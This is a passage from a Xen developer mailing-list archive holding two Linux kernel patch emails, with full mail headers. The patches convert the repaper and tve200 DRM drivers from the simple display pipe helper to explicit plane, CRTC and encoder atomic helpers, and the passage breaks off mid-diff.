	y14I8C0ths/g4E9z+XKNcVakTMVzq7ka9HYIm3oLNRhQvGqII3TpVD6gqvT8nk3yO1h/Xn/l0BJ
	GlNT9jYdcJrSFFh+UImjYIsd31Xt1fjbPLVaTeAMYnn70jguwqrRLe2TOLDTqrlNPknKuOsU5La
	u6vwTBIaycYUtJXWqj8pP0UuMok5YG6SKYuhFqXcxS+H1JxELA1bqwibWNei84pjBvVY6J/aBnB
	yjiMUkAWrJ3ZbgJk8rFFfiZEGx56aC+Rl22Bo6cvFPDqI1dMSnabhhVpzL0r5cIM2a26fGUAeVN
	sFT5V4BBMpU2grHYE7D4p
X-Received: by 2002:a17:902:fda3:b0:2ca:b4b9:4586 with SMTP id d9443c01a7336-2ce9e9ada87mr215357835ad.19.1784192610938;
        Thu, 16 Jul 2026 02:03:30 -0700 (PDT)
X-Received: by 2002:a17:902:fda3:b0:2ca:b4b9:4586 with SMTP id d9443c01a7336-2ce9e9ada87mr215357475ad.19.1784192610502;
        Thu, 16 Jul 2026 02:03:30 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:58 +0800
Subject: [PATCH v2 6/8] drm/repaper: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-6-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192560; l=7829;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=ERhc4h2BzyHq4SLA1KLZmwEBYZNamx9DmYFgd02zfJM=;
 b=BatRP4ZlOB9sgvvfbYOlQ/D1wW3PwwrZ6A1gMipy1O2m71Q4YyK+bKZTb/u3/NYEQiEn6Dhv6
 uZCR4AWmSRVD/lNWPgDwsLkctZsl2PnzSt6mINbJ4PIs6X8p3eiyZg+
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Authority-Analysis: v=2.4 cv=ZpDd7d7G c=1 sm=1 tr=0 ts=6a589e63 cx=c_pps
 a=IZJwPbhc+fLeJ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3IHwt0QYDVsr3WOtE6Q3okqni
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 bulkscore=0 spamscore=0 lowpriorityscore=0 impostorscore=0
 phishscore=0 adultscore=0 suspectscore=0 clxscore=1015 priorityscore=1501
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-d62444/1784192614-BE27A757-D4041D21/0/0
X-purgate-type: clean
X-purgate-size: 7831

Convert repaper to explicit primary plane, CRTC and encoder objects.

Keep shadow-plane helpers, framebuffer access handling and no-scaling
plane-state validation from simple-KMS path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/tiny/repaper.c | 132 ++++++++++++++++++++++++++++++++---------
 1 file changed, 104 insertions(+), 28 deletions(-)

diff --git a/drivers/gpu/drm/tiny/repaper.c b/drivers/gpu/drm/tiny/repaper.c
index c8270591afc7..7057075161c4 100644
--- a/drivers/gpu/drm/tiny/repaper.c
+++ b/drivers/gpu/drm/tiny/repaper.c
@@ -22,6 +22,7 @@
 #include <linux/thermal.h>
 
 #include <drm/clients/drm_client_setup.h>
+#include <drm/drm_atomic.h>
 #include <drm/drm_atomic_helper.h>
 #include <drm/drm_connector.h>
 #include <drm/drm_damage_helper.h>
@@ -38,7 +39,6 @@
 #include <drm/drm_rect.h>
 #include <drm/drm_print.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 
 #define REPAPER_RID_G2_COG_ID	0x12
 
@@ -65,7 +65,9 @@ enum repaper_epd_border_byte {
 
 struct repaper_epd {
 	struct drm_device drm;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	const struct drm_display_mode *mode;
 	struct drm_connector connector;
 	struct spi_device *spi;
@@ -622,26 +624,24 @@ static void power_off(struct repaper_epd *epd)
 	gpiod_set_value_cansleep(epd->discharge, 0);
 }
 
-static enum drm_mode_status repaper_pipe_mode_valid(struct drm_simple_display_pipe *pipe,
-						    const struct drm_display_mode *mode)
+static enum drm_mode_status repaper_crtc_helper_mode_valid(struct drm_crtc *crtc,
+							   const struct drm_display_mode *mode)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct repaper_epd *epd = drm_to_epd(crtc->dev);
 
 	return drm_crtc_helper_mode_valid_fixed(crtc, mode, epd->mode);
 }
 
-static void repaper_pipe_enable(struct drm_simple_display_pipe *pipe,
-				struct drm_crtc_state *crtc_state,
-				struct drm_plane_state *plane_state)
+static void repaper_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					      struct drm_atomic_commit *commit)
 {
-	struct repaper_epd *epd = drm_to_epd(pipe->crtc.dev);
+	struct repaper_epd *epd = drm_to_epd(crtc->dev);
 	struct spi_device *spi = epd->spi;
 	struct device *dev = &spi->dev;
 	bool dc_ok = false;
 	int i, ret, idx;
 
-	if (!drm_dev_enter(pipe->crtc.dev, &idx))
+	if (!drm_dev_enter(crtc->dev, &idx))
 		return;
 
 	DRM_DEBUG_DRIVER("\n");
@@ -771,9 +771,10 @@ static void repaper_pipe_enable(struct drm_simple_display_pipe *pipe,
 	drm_dev_exit(idx);
 }
 
-static void repaper_pipe_disable(struct drm_simple_display_pipe *pipe)
+static void repaper_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *commit)
 {
-	struct repaper_epd *epd = drm_to_epd(pipe->crtc.dev);
+	struct repaper_epd *epd = drm_to_epd(crtc->dev);
 	struct spi_device *spi = epd->spi;
 	unsigned int line;
 
@@ -827,27 +828,84 @@ static void repaper_pipe_disable(struct drm_simple_display_pipe *pipe)
 	power_off(epd);
 }
 
-static void repaper_pipe_update(struct drm_simple_display_pipe *pipe,
-				struct drm_plane_state *old_state)
+static void repaper_plane_helper_atomic_update(struct drm_plane *plane,
+					       struct drm_atomic_commit *commit)
 {
-	struct drm_plane_state *state = pipe->plane.state;
-	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(state);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_shadow_plane_state *shadow_plane_state = to_drm_shadow_plane_state(pstate);
 	struct drm_rect rect;
 
-	if (!pipe->crtc.state->active)
+	if (!pstate->fb)
 		return;
 
-	if (drm_atomic_helper_damage_merged(old_state, state, &rect))
-		repaper_fb_dirty(state->fb, shadow_plane_state->data,
+	if (drm_atomic_helper_damage_merged(old_pstate, pstate, &rect))
+		repaper_fb_dirty(pstate->fb, shadow_plane_state->data,
 				 &shadow_plane_state->fmtcnv_state);
 }
 
-static const struct drm_simple_display_pipe_funcs repaper_pipe_funcs = {
-	.mode_valid = repaper_pipe_mode_valid,
-	.enable = repaper_pipe_enable,
-	.disable = repaper_pipe_disable,
-	.update = repaper_pipe_update,
-	DRM_GEM_SIMPLE_DISPLAY_PIPE_SHADOW_PLANE_FUNCS,
+static const struct drm_plane_funcs repaper_plane_funcs = {
+	.update_plane	= drm_atomic_helper_update_plane,
+	.disable_plane	= drm_atomic_helper_disable_plane,
+	.destroy	= drm_plane_cleanup,
+	DRM_GEM_SHADOW_PLANE_FUNCS,
+};
+
+static int repaper_plane_helper_atomic_check(struct drm_plane *plane,
+					     struct drm_atomic_commit *state)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+
+	return drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						   DRM_PLANE_NO_SCALING,
+						   DRM_PLANE_NO_SCALING,
+						   false, false);
+}
+
+static const struct drm_plane_helper_funcs repaper_plane_helper_funcs = {
+	DRM_GEM_SHADOW_PLANE_HELPER_FUNCS,
+	.atomic_check	= repaper_plane_helper_atomic_check,
+	.atomic_update	= repaper_plane_helper_atomic_update,
+};
+
+static int repaper_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *state)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(state, crtc);
+}
+
+static const struct drm_crtc_helper_funcs repaper_crtc_helper_funcs = {
+	.mode_valid	= repaper_crtc_helper_mode_valid,
+	.atomic_check	= repaper_crtc_helper_atomic_check,
+	.atomic_enable	= repaper_crtc_helper_atomic_enable,
+	.atomic_disable	= repaper_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs repaper_crtc_funcs = {
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_encoder_funcs repaper_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int repaper_connector_get_modes(struct drm_connector *connector)
@@ -1102,9 +1160,27 @@ static int repaper_probe(struct spi_device *spi)
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(drm, &epd->pipe, &repaper_pipe_funcs,
-					   repaper_formats, ARRAY_SIZE(repaper_formats),
-					   NULL, &epd->connector);
+	ret = drm_universal_plane_init(drm, &epd->plane, 0,
+				       &repaper_plane_funcs,
+				       repaper_formats, ARRAY_SIZE(repaper_formats),
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(&epd->plane, &repaper_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &epd->crtc, &epd->plane, NULL,
+					&repaper_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(&epd->crtc, &repaper_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &epd->encoder, &repaper_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	epd->encoder.possible_crtcs = drm_crtc_mask(&epd->crtc);
+
+	ret = drm_connector_attach_encoder(&epd->connector, &epd->encoder);
 	if (ret)
 		return ret;
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 09:03:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 09:03:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363601.1615200 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0N-00044A-Sb; Thu, 16 Jul 2026 09:03:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363601.1615200; Thu, 16 Jul 2026 09:03:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkI0N-000441-Fh; Thu, 16 Jul 2026 09:03:43 +0000
Received: by outflank-mailman (input) for mailman id 1363601;
 Thu, 16 Jul 2026 09:03:42 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wkI0M-00042U-Id
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 09:03:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkI0L-0078He-VR
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 11:03:41 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e5f-e002-0a2a0a5209dd-0a2a450bc4fc-42
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:41 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a589e6c-b7e8-0a2a450b0019-cddcb4834d4e-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 11:03:41 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66G7DsSM2048859
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:40 GMT
Received: from mail-pl1-f198.google.com (mail-pl1-f198.google.com
 [209.85.214.198])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4feayfm47b-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 09:03:39 +0000 (GMT)
Received: by mail-pl1-f198.google.com with SMTP id
 d9443c01a7336-2cc8bde6318so117357965ad.3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 02:03:39 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cf106b271asm16592555ad.64.2026.07.16.02.03.30
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Thu, 16 Jul 2026 02:03:37 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	cXDzlp0Mz8ahuhkKRd5AdRfYSWy40uSfi+gwEDZHB1w=; b=HO+D16pl5NnizWLT
	EiMKDbufmks1qDlaQmm1bJz9KtHJwjUUnFtC4Me8/8F36stmqHRtBitdEEowis42
	Czjd1k9g6jTFrBIkPRKARjHghPuGlbRrFzUjSyKg4sIRVah6bmHxFnhNggLNKtDN
	6LwFrZ/16Im1HNnxucmuQINDVjXIzrL8otMAYymHT4IbqXFio6vLxD7ML6EUARO7
	h/oK7i6SVbP6XjgA770I5CoABfF8si0W7ccqtMQmYbU2TUT/b2dMzt9sNMKs6+/f
	b7U6y2Np8ogkNabFyqwfqFxd9FMgcDNaN9pWrCBypJwJFv7mZVeE4zlXT88wTA6E
	EEqdlw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1784192619; x=1784797419; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=cXDzlp0Mz8ahuhkKRd5AdRfYSWy40uSfi+gwEDZHB1w=;
        b=E69AGuKfVzmpqslMVqDqpEqitRyihaCyF0avdkLOWibQ9lXQODJ8vfwg0QcqNgCgFF
         h3Vo4PtdsRNODVaB1ZmQSXGTYnXVIw0zKodHeldiR9dRzuENi9qmTCGDoTjKFvo9NNC6
         Ub8WNaALe1wH1ln7+K9tUGoxm9Lq90+FA37BgKz2lyojeUnskYIHEkk5A77f6OJbsIdZ
         P089yLcA4LNFq6z5JEdCOhuVZhEvbx83utPRfbuEaCnff+OtAlR4I35oadsjUguNYkmy
         uFAUoFoVJHITZOk9wOis3u21rK9ia3ZnIGEavpfudyeXryK0uBqVi+0SGqnOuWGvmg0G
         7LMw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784192619; x=1784797419;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=cXDzlp0Mz8ahuhkKRd5AdRfYSWy40uSfi+gwEDZHB1w=;
        b=MUKJKpJ+V7Hy/nwDa8Fa1FJKjxUWKEayg0mHgoTUyS0TZLjqQP+OZ98y5p7DpaTmtp
         g84RAWjE0exx4Wxh6XXeW3yxstsUNJ+I9DiRK+MdgrEcgrw2eB3GX/64xjGETPnwQPCO
         HTHgk/szqJARGdmu9j1QAd/rsm8f3WCG2GUOaJloEWW9Mau1LTkqquW1/DyVl1c+zxIS
         CSox2W9oB0/WgVgrEV3396O2E7hQ2dF7TYnNaB9VoTNm6rfXrQGylhThCWwYo5Q9H35q
         ImOAKkWMiFjOGGYFb55bYDCskBIO8bp+/xMMgK43nP5XJH1x6JQBOIVSeddfF4PQahuk
         Ryrw==
X-Forwarded-Encrypted: i=1; AHgh+RpJExlUgs1zvem5kajVcEzYzDmZlQsZRT/RgzkUCMrUaymrZiqvWUF5xkoBcyLZKKVGZUiZclm7cUc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxsIoCsw2PdEUhENy58GLUADjxHm4dwPg628SzX8XW+Tx2Sw9i4
	fhTemhLa3ha/9/ohdy3U5/Yt7sgdMsEQ8g6Qx0LmOIc1lEDPsjLZQfdLcl+gmS1LIrDiWnMXrmF
	UmZ+7IRUJkVYYHTIDWzZD/U1VdNF87gDs19RTXRNyozyMCJ4LlSBLv7FvKw+LRhmWIYegKFrABN
	pqfJga
X-Gm-Gg: AfdE7clAvm96nMcvStaQRhbtxidPezivRbfeSE8VC/m3rvCDSf43A63u7keR2/cP9yE
	mpK+7Mw+oRR/YTAqe9RdiTds7r50FWGJeLTnzKBzEVl32dknRSP6KHmTbdLKpdg+5O3jws0bLKk
	iFPy8I13MyQjVsS1T6NvpCJgnOPtj9iZc3Zms+NZjRRf4K3L1Qic4TxR90fEcYt2q14Nj29NvZz
	JTtyv757/OOkLa4pJi8pY9z+q8mRmEH7BvW9hGNcoHqnm+rlrdrMx8b1AWGBpzyjggccGKoPrY4
	n3SoI45oV19dwgduoJ8NkJZnsuRxMa/vXP+YXj14dTSDMWtcI0gbUtgLdIjSjBOvvm17GctKvMJ
	J6wpFkDBlzrJEX061jimz
X-Received: by 2002:a17:902:fda8:b0:2ca:4b7a:4a02 with SMTP id d9443c01a7336-2cef1370d34mr95423205ad.43.1784192618466;
        Thu, 16 Jul 2026 02:03:38 -0700 (PDT)
X-Received: by 2002:a17:902:fda8:b0:2ca:4b7a:4a02 with SMTP id d9443c01a7336-2cef1370d34mr95422605ad.43.1784192617798;
        Thu, 16 Jul 2026 02:03:37 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Thu, 16 Jul 2026 17:01:59 +0800
Subject: [PATCH v2 7/8] drm/tve200: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260716-drm-simple-kms-removal-v2-7-1133a8fc3785@oss.qualcomm.com>
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
In-Reply-To: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1784192560; l=12710;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=1viaAX+744S54GCG+tWfVVj2xmjTbnyOumJ6LSWV5BM=;
 b=O8lpuoMTn2tkvb1RSrnDKTTQNtcFREO2jObb3WocoCvGUqjOl9Y9c3xswWhyXseEslHU7pcEk
 GcfaTN4aIRaAKXobRA8r0gDPuaWc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int-ORIG-GUID: XLwyGnj7Ee8vilOiIJG_NAKf_yEgDrZL
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE2MDA5MSBTYWx0ZWRfXwFZeGI7UNzzh
 /VZGsBkwbby2+ENAfmdAQ9PIKECG0QWBbVkwXZvV/ArYbCfnC19KD0m/LtAUIsqrMFJRqgZRP/T
 Da9oCnACDxSVdJIGMoKQ+Ge+SSYsJuE=
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-16_03,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 impostorscore=0 bulkscore=0 clxscore=1015 spamscore=0 lowpriorityscore=0
 suspectscore=0 priorityscore=1501 malwarescore=0 phishscore=0 adultscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607160091
X-purgate-ID: tlsNG-42698a/1784192621-1B6D29EA-DA33CB78/0/0
X-purgate-type: clean
X-purgate-size: 12712

Convert TVE200 to explicit plane, CRTC and encoder objects.
Keep generic plane-state validation before TVE200-specific mode,
alignment, pitch and format-change checks, and install GEM framebuffer
prepare helper explicitly.

Move page-flip event handling to the CRTC commit path and wire the CRTC
vblank callbacks explicitly so events are not consumed from the plane
update path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
 drivers/gpu/drm/tve200/tve200_display.c | 217 ++++++++++++++++++++++----------
 drivers/gpu/drm/tve200/tve200_drm.h     |   6 +-
 drivers/gpu/drm/tve200/tve200_drv.c     |  12 +-
 3 files changed, 161 insertions(+), 74 deletions(-)

diff --git a/drivers/gpu/drm/tve200/tve200_display.c b/drivers/gpu/drm/tve200/tve200_display.c
index 26b6c65ef6fd..6021f90d8531 100644
--- a/drivers/gpu/drm/tve200/tve200_display.c
+++ b/drivers/gpu/drm/tve200/tve200_display.c
@@ -15,6 +15,8 @@
 #include <linux/of_graph.h>
 #include <linux/delay.h>
 
+#include <drm/drm_atomic.h>
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
@@ -52,7 +54,7 @@ irqreturn_t tve200_irq(int irq, void *data)
 		val = readl(priv->regs + TVE200_CTRL);
 		/* We have an actual start of vsync */
 		if (!(val & TVE200_VSTSTYPE_BITS)) {
-			drm_crtc_handle_vblank(&priv->pipe.crtc);
+			drm_crtc_handle_vblank(&priv->crtc);
 			/* Toggle trigger to start of active image */
 			val |= TVE200_VSTSTYPE_VAI;
 		} else {
@@ -69,13 +71,32 @@ irqreturn_t tve200_irq(int irq, void *data)
 	return IRQ_HANDLED;
 }
 
-static int tve200_display_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *pstate,
-			       struct drm_crtc_state *cstate)
+static int tve200_plane_helper_atomic_check(struct drm_plane *plane,
+					    struct drm_atomic_commit *commit)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_crtc *crtc = pstate->crtc;
+	struct drm_crtc_state *cstate = NULL;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = old_pstate->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
+
+	if (crtc)
+		cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!pstate->visible || !cstate)
+		return 0;
+
+	mode = &cstate->mode;
 
 	/*
 	 * We support these specific resolutions and nothing else.
@@ -119,16 +140,72 @@ static int tve200_display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void tve200_display_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *cstate,
-				 struct drm_plane_state *plane_state)
+static void tve200_plane_helper_atomic_update(struct drm_plane *plane,
+					      struct drm_atomic_commit *commit)
+{
+	struct tve200_drm_dev_private *priv = plane->dev->dev_private;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_framebuffer *fb = pstate->fb;
+
+	if (!fb)
+		return;
+
+	/* For RGB, the Y component is used as base address */
+	writel(drm_fb_dma_get_gem_addr(fb, pstate, 0),
+	       priv->regs + TVE200_Y_FRAME_BASE_ADDR);
+
+	/* For three plane YUV we need two more addresses */
+	if (fb->format->format == DRM_FORMAT_YUV420) {
+		writel(drm_fb_dma_get_gem_addr(fb, pstate, 1),
+		       priv->regs + TVE200_U_FRAME_BASE_ADDR);
+		writel(drm_fb_dma_get_gem_addr(fb, pstate, 2),
+		       priv->regs + TVE200_V_FRAME_BASE_ADDR);
+	}
+}
+
+static void tve200_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = cstate->event;
+
+	if (!event)
+		return;
+
+	cstate->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (cstate->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
+}
+
+static const struct drm_plane_helper_funcs tve200_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
